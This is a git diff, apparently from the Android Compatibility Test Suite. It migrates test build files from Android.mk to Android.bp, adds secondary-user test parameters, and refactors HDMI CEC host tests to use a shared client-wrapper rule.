+ mOnDoneListener = listener;
+ }
+
+ protected abstract void onButtonClickRunTest();
+
+ /**
+ * Returns the text of the test instruction visible to the user.
+ */
+ protected abstract String getInstructionText();
+
+ /**
+ * Returns id of string resource containing the text of the button.
+ */
+ protected abstract int getButtonStringId();
+
+ protected void doneWithPassingState(boolean state) {
+ mHasPassed = state;
+ TvAppVerifierActivity.setPassState(mViewItem, state);
+
+ if (mOnDoneListener != null) {
+ mOnDoneListener.run();
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.bp b/apps/CtsVerifierInstantApp/Android.bp
index faa1a0ff85c..cc399276c23 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.bp
+++ b/apps/CtsVerifierInstantApp/Android.bp
@@ -1,3 +1,4 @@
+//
// Copyright (C) 2018 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
@@ -11,10 +12,15 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
+//
-cc_test {
- name: "CVE-2018-9490",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp"],
- shared_libs: ["libpac"],
+android_test_helper_app {
+ name: "CtsVerifierInstantApp",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ test_suites: [
+ "cts",
+ "sts",
+ ],
}
diff --git a/apps/CtsVerifierInstantApp/Android.mk b/apps/CtsVerifierInstantApp/Android.mk
deleted file mode 100644
index 13697e7ccc7..00000000000
--- a/apps/CtsVerifierInstantApp/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-#
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsVerifierInstantApp
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts sts
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/apps/ForceStopHelperApp/Android.bp b/apps/ForceStopHelperApp/Android.bp
new file mode 100644
index 00000000000..06bfd985538
--- /dev/null
+++ b/apps/ForceStopHelperApp/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsForceStopHelper",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ resource_dirs: ["res"],
+ sdk_version: "current",
+ min_sdk_version: "12",
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/apps/ForceStopHelperApp/Android.mk b/apps/ForceStopHelperApp/Android.mk
deleted file mode 100644
index 7ae586a49b7..00000000000
--- a/apps/ForceStopHelperApp/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsForceStopHelper
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
-
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 12
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/angle/AndroidTest.xml b/hostsidetests/angle/AndroidTest.xml
index 140da70e195..0e1464f36ef 100644
--- a/hostsidetests/angle/AndroidTest.xml
+++ b/hostsidetests/angle/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="graphics" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAngleDriverTestCases.apk" />
diff --git a/hostsidetests/apex/AndroidTest.xml b/hostsidetests/apex/AndroidTest.xml
index 96aa5a5b997..201b3de935d 100644
--- a/hostsidetests/apex/AndroidTest.xml
+++ b/hostsidetests/apex/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="systems" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.tradefed.testtype.HostTest" >
<option name="jar" value="CtsApexTestCases.jar" />
</test>
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
new file mode 100644
index 00000000000..31ed9815d37
--- /dev/null
+++ b/hostsidetests/appsecurity/Android.bp
@@ -0,0 +1,4 @@
+filegroup {
+ name: "CtsHostsideTestsAppSecurityUtil",
+ srcs: ["src/android/appsecurity/cts/Utils.java"],
+}
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 40c0c7ebd56..c37fd337fe6 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -23,8 +23,6 @@ LOCAL_MODULE := CtsAppSecurityHostTestCases
LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-LOCAL_STATIC_JAVA_LIBRARIES := truth-prebuilt-jar
-
LOCAL_JAVA_RESOURCE_DIRS := res
LOCAL_CTS_TEST_PACKAGE := android.appsecurity
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index af46b0845c7..30ed7bf9488 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -148,9 +148,9 @@ public class Utils {
int currentUserId = device.getCurrentUser();
for (int i = 1; i < userIds.length; i++) {
if (i < maxUsers) {
- device.startUser(userIds[i]);
+ device.startUser(userIds[i], true);
} else if (userIds[i] != currentUserId) {
- device.stopUser(userIds[i]);
+ device.stopUser(userIds[i], true, true);
}
}
if (userIds.length > maxUsers) {
diff --git a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
index ea876d9a837..d128c2d6a3b 100644
--- a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
+++ b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
@@ -16,6 +16,7 @@
package android.checkpoint.cts;
+import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.CtsDownstreamingTest;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceTestCase;
@@ -30,6 +31,9 @@ public class CheckpointHostTest extends DeviceTestCase {
@CtsDownstreamingTest
public void testLogEntries() throws Exception {
+ // This test is build also as a part of GTS, which runs also on older releases.
+ if (ApiLevelUtil.isBefore(getDevice(), "Q")) return;
+
// Clear buffer to make it easier to find new logs
getDevice().executeShellCommand("logcat --clear");
diff --git a/hostsidetests/classloaders/useslibrary/AndroidTest.xml b/hostsidetests/classloaders/useslibrary/AndroidTest.xml
index 815f13818b6..6505888c06c 100644
--- a/hostsidetests/classloaders/useslibrary/AndroidTest.xml
+++ b/hostsidetests/classloaders/useslibrary/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsUsesLibraryHostTestCases.jar" />
<option name="runtime-hint" value="1m" />
diff --git a/hostsidetests/content/Android.bp b/hostsidetests/content/Android.bp
new file mode 100644
index 00000000000..44780353cf5
--- /dev/null
+++ b/hostsidetests/content/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsSyncContentHostTestCases",
+ defaults: ["cts_defaults"],
+ srcs: [
+ "src/**/*.java",
+ ":CtsHostsideTestsAppSecurityUtil",
+ ],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ ],
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/content/Android.mk b/hostsidetests/content/Android.mk
deleted file mode 100644
index e60f1021ed0..00000000000
--- a/hostsidetests/content/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
- ../appsecurity/src/android/appsecurity/cts/Utils.java
-
-LOCAL_MODULE := CtsSyncContentHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_CTS_TEST_PACKAGE := android.content
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH)/test-apps)
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
new file mode 100644
index 00000000000..5a91da1372e
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
@@ -0,0 +1,38 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsSyncInvalidAccountAuthorityTestCases",
+ defaults: ["cts_support_defaults"],
+ static_libs: [
+ "android-support-annotations",
+ "androidx.test.rules",
+ "ctstestrunner-axt",
+ ],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ optimize: {
+ enabled: false,
+ },
+ dex_preopt: {
+ enabled: false,
+ },
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
deleted file mode 100644
index fd3e5d45c95..00000000000
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-annotations androidx.test.rules ctstestrunner-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSyncInvalidAccountAuthorityTestCases
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/cpptools/Android.mk b/hostsidetests/cpptools/Android.mk
deleted file mode 100644
index 10ba6505f0c..00000000000
--- a/hostsidetests/cpptools/Android.mk
+++ /dev/null
@@ -1,16 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/cpptools/AndroidTest.xml b/hostsidetests/cpptools/AndroidTest.xml
index 292c8de32e3..66d564e551c 100644
--- a/hostsidetests/cpptools/AndroidTest.xml
+++ b/hostsidetests/cpptools/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- b/123333261 : run-as not working for instant apps -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsCppToolsApp.apk" />
diff --git a/hostsidetests/cpptools/test-apps/Android.mk b/hostsidetests/cpptools/test-apps/Android.mk
deleted file mode 100644
index 27332529ff0..00000000000
--- a/hostsidetests/cpptools/test-apps/Android.mk
+++ /dev/null
@@ -1,23 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
new file mode 100644
index 00000000000..832725c2b86
--- /dev/null
+++ b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
@@ -0,0 +1,37 @@
+// Copyright 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+ name: "connector",
+ srcs: ["connector.cpp"],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ ],
+ // Include both the 32 and 64 bit versions
+ compile_multilib: "both",
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ suffix: "64",
+ },
+ },
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk
deleted file mode 100644
index 4191a78a3ae..00000000000
--- a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := connector
-LOCAL_SRC_FILES := connector.cpp
-LOCAL_CFLAGS += -Wall -Werror
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_EXECUTABLE)
diff --git a/hostsidetests/deviceidle/AndroidTest.xml b/hostsidetests/deviceidle/AndroidTest.xml
index 16f631ac05e..c7c2f51723a 100644
--- a/hostsidetests/deviceidle/AndroidTest.xml
+++ b/hostsidetests/deviceidle/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- These are tests for the shell command to manage device idle whitelist. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsDeviceIdleHostTestCases.jar" />
<option name="runtime-hint" value="1m" />
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecUtils.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
index b2a37eb798d..eb9950a6a17 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecUtils.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
@@ -16,8 +16,12 @@
package android.hdmicec.cts;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
+
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.util.RunUtil;
import java.io.BufferedReader;
@@ -29,8 +33,11 @@ import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
+import org.junit.Rule;
+import org.junit.rules.ExternalResource;
+
/** Class that helps communicate with the cec-client */
-public final class HdmiCecUtils {
+public final class HdmiCecClientWrapper extends ExternalResource {
private static final String CEC_CONSOLE_READY = "waiting for input";
private static final int MILLISECONDS_TO_READY = 5000;
@@ -44,24 +51,40 @@ public final class HdmiCecUtils {
private boolean mCecClientInitialised = false;
private CecDevice targetDevice;
- private String physicalAddress;
+ private BaseHostJUnit4Test testObject;
- public HdmiCecUtils(CecDevice targetDevice, String physicalAddress) {
+ public HdmiCecClientWrapper(CecDevice targetDevice, BaseHostJUnit4Test testObject) {
this.targetDevice = targetDevice;
- this.physicalAddress = physicalAddress;
+ this.testObject = testObject;
}
+ @Override
+ protected void before() throws Throwable {
+ ITestDevice testDevice;
+ testDevice = testObject.getDevice();
+ assertNotNull("Device not set", testDevice);
+
+ assumeTrue(isHdmiCecFeatureSupported(testDevice));
+
+ this.init();
+ };
+
+ @Override
+ protected void after() {
+ this.killCecProcess();
+ };
+
/**
* Checks if the HDMI CEC feature is running on the device. Call this function before running
* any HDMI CEC tests.
* This could throw a DeviceNotAvailableException.
*/
- public static boolean isHdmiCecFeatureSupported(ITestDevice device) throws Exception {
+ private static boolean isHdmiCecFeatureSupported(ITestDevice device) throws Exception {
return device.hasFeature(HDMI_CEC_FEATURE);
}
/** Initialise the client */
- public void init() throws Exception {
+ private void init() throws Exception {
boolean gotExpectedOut = false;
List<String> commands = new ArrayList();
int seconds = 0;
@@ -313,7 +336,7 @@ public final class HdmiCecUtils {
/**
* Kills the cec-client process that was created in init().
*/
- public void killCecProcess() {
+ private void killCecProcess() {
try {
checkCecClient();
sendConsoleMessage(CecClientMessage.QUIT_CLIENT.toString());
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java
index 5987ace8626..97c03d1705c 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java
@@ -17,38 +17,23 @@
package android.hdmicec.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Before;
+import org.junit.Rule;
import org.junit.runner.RunWith;
import org.junit.Test;
/** HDMI CEC test to verify physical address after device reboot (Section 10.2.3) */
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecLogicalAddressTest implements IDeviceTest {
+public final class HdmiCecLogicalAddressTest extends BaseHostJUnit4Test {
private static final CecDevice PLAYBACK_DEVICE = CecDevice.PLAYBACK_1;
- private ITestDevice mDevice;
-
- @Override
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
-
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
- @Before public void testHdmiCecAvailability() throws Exception {
- assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
- }
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
/**
* Test 10.2.3-1
@@ -58,18 +43,9 @@ public final class HdmiCecLogicalAddressTest implements IDeviceTest {
@Test
public void cect_10_2_3_1_RebootLogicalAddress() throws Exception {
ITestDevice device = getDevice();
- assertNotNull("Device not set", device);
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- device.executeShellCommand("reboot");
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
- String message = hdmiCecUtils.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
- assertEquals(PLAYBACK_DEVICE, hdmiCecUtils.getSourceFromMessage(message));
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ device.executeShellCommand("reboot");
+ device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ String message = hdmiCecClient.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
+ assertEquals(PLAYBACK_DEVICE, hdmiCecClient.getSourceFromMessage(message));
}
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java
index cd7c7881f8d..d54f0c73365 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java
@@ -17,39 +17,24 @@
package android.hdmicec.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Before;
+import org.junit.Rule;
import org.junit.runner.RunWith;
import org.junit.Test;
/** HDMI CEC tests for One Touch Play (Section 11.2.1) */
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecOneTouchPlayTest implements IDeviceTest {
+public final class HdmiCecOneTouchPlayTest extends BaseHostJUnit4Test {
private static final int PHYSICAL_ADDRESS = 0x1000;
- private ITestDevice mDevice;
-
- @Override
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
-
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
- @Before public void testHdmiCecAvailability() throws Exception {
- assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
- }
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
/**
* Test 11.2.1-1
@@ -59,18 +44,9 @@ public final class HdmiCecOneTouchPlayTest implements IDeviceTest {
@Test
public void cect_11_2_1_1_OneTouchPlay() throws Exception {
ITestDevice device = getDevice();
- assertNotNull("Device not set", device);
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- device.executeShellCommand("input keyevent KEYCODE_HOME");
- hdmiCecUtils.checkExpectedOutput(CecDevice.TV, CecMessage.TEXT_VIEW_ON);
- String message = hdmiCecUtils.checkExpectedOutput(CecMessage.ACTIVE_SOURCE);
- assertEquals(PHYSICAL_ADDRESS, hdmiCecUtils.getParamsFromMessage(message));
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ device.executeShellCommand("input keyevent KEYCODE_HOME");
+ hdmiCecClient.checkExpectedOutput(CecDevice.TV, CecMessage.TEXT_VIEW_ON);
+ String message = hdmiCecClient.checkExpectedOutput(CecMessage.ACTIVE_SOURCE);
+ assertEquals(PHYSICAL_ADDRESS, hdmiCecClient.getParamsFromMessage(message));
}
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java
index 0e61c24f799..e7ba3897590 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java
@@ -17,37 +17,22 @@
package android.hdmicec.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Before;
+import org.junit.Rule;
import org.junit.runner.RunWith;
import org.junit.Test;
/** HDMI CEC test to verify physical address after device reboot (Section 10.1.2) */
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecPhysicalAddressTest implements IDeviceTest {
+public final class HdmiCecPhysicalAddressTest extends BaseHostJUnit4Test {
- private ITestDevice mDevice;
-
- @Override
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
-
- @Override
